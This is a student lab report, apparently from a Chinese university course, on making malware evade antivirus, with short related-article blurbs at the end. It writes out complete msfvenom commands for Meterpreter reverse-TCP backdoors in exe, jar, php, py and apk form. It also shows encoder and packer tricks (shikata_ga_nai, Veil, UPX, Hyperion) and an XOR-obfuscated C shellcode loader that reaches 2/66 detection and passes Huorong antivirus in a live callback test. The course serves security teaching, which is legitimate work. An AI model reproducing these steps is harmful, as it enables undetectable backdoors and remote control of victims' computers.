20222307 2024-2025-1 《网络与系统攻防技术》 实验三实验报告

news/2025/1/16 15:04:24/文章来源:https://www.cnblogs.com/Pzs20222307/p/18514278

1. 实验内容

1.1 实践内容

(1) 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 使用msfvenom生成jar、apk等其他文件
  • 使用veil加壳工具
  • 使用C+ shellcode进行编程

(2)通过组合应用各种技术实现恶意代码免杀
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2问题回答

(1)杀软是如何检测出恶意代码的?

  1. 签名检测(特征码检测):每个恶意软件都有其独特的代码片段,这些片段可以作为该软件的唯一标识,即特征码。杀毒软件会将文件的特征码与已知恶意软件的特征码进行比对,如果匹配成功,则判断该文件为恶意代码。

  2. 行为分析:杀毒软件会监控程序的行为,包括文件操作、网络通信、系统资源访问和修改等。如果程序的行为模式与已知的恶意行为模式匹配,或者表现出异常行为(如未经授权的访问、修改系统文件、窃取敏感信息等),则可能被判定为恶意软件。

  3. 启发式分析:启发式分析利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是通过分析软件的代码特征、行为模式等信息,评估其潜在的风险。

(2)免杀是做什么?

免杀技术通过修改病毒、木马的内容或特征码,使其能够躲避杀毒软件的查杀。

(3)免杀的基本方法有哪些?

  1. 修改特征码:特征码是杀毒软件用于识别病毒或恶意软件的一段特定代码。通过修改病毒或恶意软件的特征码,可以使其逃避杀毒软件的检测。
  2. 加壳与改壳:加壳是一种对可执行文件进行加密或压缩的技术,通过加壳可以隐藏程序的入口文件和代码结构,使杀毒软件难以找到程序的正常入口,从而躲避分析。
  3. 代码混淆与加密:通过混淆和加密代码,可以增加杀毒软件分析的难度,从而提高恶意软件的免杀成功率。
  4. 行为免杀:行为免杀是通过改变恶意软件在运行时的行为,使其避免触发杀毒软件的检测机制。
  5. 其他免杀方法:修改PE头、资源替换、签名伪造。
  6. 实验过程

实验环境:
主机IP:192.168.10.124
虚拟机IP:192.168.214.132

2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1.1 使用msf编码器,并尝试使用msfvenom生成如jar之类的其他文件

实验用到VirusTotal来检测生成的恶意程序

(1)不使用编码器生成后门程序
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f exe > 20222307.exe

将生成的后面程序送到Virus Total中检测,检测率为61/73。被检测出有恶意代码。

(2)使用编码器生成后门程序20222307_1exe
msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.214.132 LPORT=2307 -f exe > 20222307_1.exe

送入VirusTotal检测,检测率为62/73。被检测出有恶意代码。

(3)使用编码器生成后面程序20222307_24.exe(编码24次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.214.132 LPORT=2307 -f exe > 20222307_24.exe

分析代码细节:
-p windows/meterpreter/reverse_tcp: 指定要使用的有效载荷类型。这里使用的是Windows平台上的Meterpreter反向TCP连接有效载荷,意味着它会从目标系统反向连接到攻击者的机器。
-e /x86/shikata_ga_nai: 指定编码方式。x86/shikata_ga_nai是一种常用的编码技术,用于绕过某些安全软件的检测。
-i 24:设置迭代次数,即编码的复杂度。迭代次数越高,编码后的有效载荷越难以被分析,但也可能导致文件大小增加。
-b ‘\x00’: 指定要避免的字节(Bad Characters)。这里\x00表示空字符,通常用于避免在特定环境中造成问题。

(4)使用msfvenom生成其他格式的后门文件

.jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f jar > 20222307.jar

.php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 x > 20222307.php

.py文件:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f py > 20222307.py

.apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f py > 20222307.py

分别将以上各类型的后门程序上传至VirusTotal进行检测,结果如下:

.jar:

.php:

.py:

.apk:

各种方式生成的后门程序的检测率:
msfvenom直接生成:61/73
msfvenom 编码一次:62/73
msfvenom 多次编码:61/73
生成.jar后门文件:34/64
生成.php后门文件:26/63
生成.py后门文件:0/63(由于实验电脑中没有python环境)
生成.apk后门文件:26/66

2.1.2 使用Veil生成后门程序

 (1)下载配置Veil
安装veil,依次输入以下命令:

点击查看代码
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh

找到下图内容,按insert键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git
保存退出;

输入veil运行veil进行安装;

安装过程中一路默认安装;
通过命令use evasion进入evasion模块,如下图

输入list指令具体查看每一个payload的名称。

(2)利用Veil生成后门程序
输入use c/meterpreter/rev_tcp.py选择第七个载荷

输入 set LHOST 192.168.214.132set LPORT 2307分别设置好LHOST、LPORT,输入generate指令开始生成文件20222307_vell.exe

在/var/lib/veil/output/compiled中找到将20222307_vell.exe,上传至VirusTotal进行检测,检测率为44/73,免杀有一定效果但并不显著。

2.1.3 加壳处理来试图实现免杀

 (1)压缩加壳
输入指令upx 20222307.exe -o 20222307_upx.exe,对后门文件进行压缩加壳

上传至VirusTotal检测,检测率为55/71

(2)加密加壳
先输入cp 20222307.exe /usr/share/windows-resources/hyperion复制需要加壳的文件;再输入cd /usr/share/windows-resources/hyperion进入文件夹。
输入指令wine hyperion.exe -v 20222307.exe 20222307_hyperion.exe对文件进行加密加壳

在/usr/share/windows-resources/hyperion中找到20222307_hyperion.exe,上传检测,检测率为52/72

2.1.4 采用C+shellcode来试图实现免杀

输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f c来获取一段shellcode编码

输入vi 20222307_c.c,创建文件并将shellcode加入进去,如图。


输入gcc 20222307_C.c -o 20222307_C.exe 采用gcc编译20222307_C.exe文件并传至主机。


上传至VirusTotal检测,效果不错!!检测率只有15/66。

2.2 通过组合应用各种技术实现恶意代码免杀

2.2.1 msfvenom多次编码+压缩加壳

依次输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.214.132 LPORT=2307 -f exe >20222307_zip.exe
upx 20222307.exe -o 20222307_zip_upx.exe
利用多次编码方式生成后门软件并进行加壳处理。
(这边忘截图了,只能在目录下看到有20222307_zip.exe程序产生了)


上传至VirusTotal检测,检测率为55/72。

2.2.2 C+shellcode编码+异或处理

创建文件20222307_or.c,编写使其将刚刚生成的shellcode编码在异或处理后输出到文件20222307shellcode.txt,具体如下。

打开.c文件

修改如下:

使用gcc编译后运行,得到异或后的shellcode编码。

运行20222307_or.exe后打开20222307shellcode.txt

创建文件20222307_or_c.c文件,将异或后的编码加入进去,再利用gcc编译生成.exe后门文件传至主机。


上传至VirusTotal检测,效果非常好!!!检测率低至仅仅2/66。

使用火绒查杀本次实验生成的后门文件,结果如图:

查杀的5个文件中,没有20222307_or_c.exe,说明该后门文件与杀毒软件共生。

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.214.132 LPORT=2307 -f raw >20222307.raw 生成后门文件20222307.raw

电脑版本为Windows11,杀软为火绒安全软件version:5.0.75.16

启动msf,配置好payload、LHOST等相关参数,开始监听。

为了运行.raw文件安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)
运行20222307.raw,可以观察到成功连接。

ls查看目录下的所有文件

文件中也实际是这样的,与ls查看结果一致

3.问题及解决方案

  • 问题1:"Can't find the WINE profile for AuotIT v3"问题

    解决方案:根据提示输入"Run: /usr/share/veil/config/setup.sh --force --silent"

  • 问题2:组合应用各种技术实现恶意代码免杀时总会被发现
    解决方法:舍弃"msfvenom多次编码+压缩加壳"方案,改用"C+shellcode编码+异或处理"

4.学习感悟、思考等

起初,通过一系列实验,我深入掌握了免杀技术的核心原理,探索了多种实现免杀的手段,比如veil工具的应用、文件加壳技术的运用以保护文件免受检测、C语言结合shellcode的免杀实践,以及利用VT等在线平台验证免杀成效等。总而言之,这次实验成果丰硕,尽管过程充满挑战。

在这趟实验之旅中,veil工具的安装无疑是最大的绊脚石之一。安装它不仅耗时颇长,而且对存储空间有着极高的要求,所幸我在虚拟机创建之初就预留了足够的空间,否则很可能在安装中途遭遇空间不足的尴尬。这一难题耗费了我大量时间,通过广泛搜集资料、深入分析,最终成功克服了veil安装失败的问题,这一过程也极大地锻炼了我的问题解决能力。

此外,这次实验还进一步加深了我的信息安全保密意识。在没有杀毒软件、防火墙等防护措施的情况下,电脑极易在不知不觉中遭受攻击,导致信息泄露等严重后果。因此,我们必须时刻保持警惕,增强安全保密意识,避免下载运行不明程序、谨慎点击不明链接、对钓鱼邮件和短信保持高度警觉。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824602.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nuxt.js 应用中的 components:dirs 事件钩子详解

title: Nuxt.js 应用中的 components:dirs 事件钩子详解 date: 2024/10/31 updated: 2024/10/31 author: cmdragon excerpt: components:dirs 是 Nuxt.js 中的一个生命周期钩子,用于在 app:resolve 期间扩展自动导入组件的目录。通过这个钩子,开发者可以动态地添加新的组件…

golang有类似于java的spring吗_3

为了回答这个问题:Golang 是否有类似于 Java 的 Spring 框架,我们可以从两个角度来看:一、目前 Golang 是否有直接对应的全栈框架;二、Golang 是否有能提供与 Spring 类似特性的框架或者库。对于第一个问题,Golang 目前并没有一个完全仿照 Spring 的全栈框架。Java 中的 S…

大模型导论

为什么大模型相比中小模型,有更突出的性能和泛化能力,也许大多数人并没有想过这个问题,业内一般从函数曲线拟合的角度,来理解模型为什么能解决现实中的问题。 1、模型为什么越大,性能和泛化越好?在AI领域,对需要解决的业务问题,将其视为满足一定条件的数据分布,先通过…

有什么bug管理工具

bug管理工具有:1、PingCode;2、Worktile;3、Jira;4、Bugzilla;5、Redmine;6、MantisBT;7、YouTrack;8、GitHub Issues。PingCode是一站式的软件研发过程管理工具,具备专业的缺陷管理模块能够有效帮助团队解决四方面的缺陷管理问题。1、PingCode PingCode是一站式的软件…

Java为什么解释执行时不直接解释源码_2

Java为什么解释执行时不直接解释源码 在探讨为什么Java在解释执行时不直接解释源码之前,我们首先需要明确几个核心观点:Java虚拟机(JVM)的设计初衷是实现一次编写、到处运行、字节码的概念及其作用、性能与安全考虑。这些因素共同塑造了Java当前的执行模式。其中,字节码的…

小时候的萤火虫

写在前面 1145 字 | 经历 | 童年 | 感触 | 思考 | 时间 正文前阵子,住处突然飞进来一只萤火虫。尾灯一闪一闪,光芒微弱。与明亮的灯光相比,那光芒似乎如蚍蜉撼树,毫不起眼。我本想捉出去,但犹豫了一两瞬,放弃了。它飞到我放衣服的箱子上,我蹲下来,静静地看着它。小时候…

操作系统——进程同步互斥经典题目

操作系统——进程同步互斥经典题目 前言 这里是操作系统课程中老师布置的作业,主要是关于进程同步互斥的考研真题。 题目 题目一 有4个进程P1、P2、P3、P4。要求P1必须在P2、P3开始前完成,P2、P3必须在P4开始前完成,且P2和P3 不能并发执行。试写出这4个进程的同步互斥算法。…

管中窥豹----.NET Core到.NET 8 托管堆的变迁

https://www.cnblogs.com/lmy5215006/p/18515971在研究.NET String底层结构时,我所观察到的情况与《.NET Core底层入门》,《.NET内存管理宝典》书中描述不符。故多研究了一下。发现.NET托管堆的结构也是越来越多,越来越高性能。//示例代码internal class Program{public con…

使用 FastGPT 实现最佳 AI 翻译工作流:全世界最信达雅的翻译

想让AI翻译既准确又地道?本文将教你如何利用 FastGPT 打造一个革命性的翻译工作流。 它不仅支持文本翻译,还能直接处理文档,更能通过自定义术语表确保专业术语的翻译准确性,堪称翻译神器! 直接看效果:再来看术语表:这也太适合翻译产品官网和官方文档了吧?? 背景 吴恩达…

Major GC和Full GC的区别是什么

Major GC和Full GC是Java垃圾收集中的两种重要过程。它们的主要区别包括:1.作用范围不同;2.触发条件和时机有所不同;3.对系统性能的影响程度不同;4.处理对象的差异;5.与各种垃圾收集器的关联程度有所差异。理解这两种GC的区别对于Java开发和性能调优都是至关重要的。1.作用…

全新 PAN211X,创新技术加持。抗干扰强,兼容性好,让工程师的设计如虎添翼

在当今科技飞速发展的时代,各种先进的电子设备不断涌现,而在众多优秀的产品中,PAN211X 以其卓越的性能和独特的优势脱颖而出。 一、2.4G 无线射频:畅享高速连接 PAN211X 具备强大的 2.4G 无线射频功能,为用户带来了高速、稳定的无线连接体验。在这个信息时代,快速的数据…

小白手把手教学用spring框架实现mybatis和mysql以及工作原理

Maven_Mybatis_Mysql 什么是Mybatis MyBatis 是一款优秀的持久层框架,它支持自定义 SQL、存储过程以及高级映射。MyBatis 免除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作。MyBatis 可以通过简单的 XML 或注解来配置和映射原始类型、接口和 Java POJO(Plain Old J…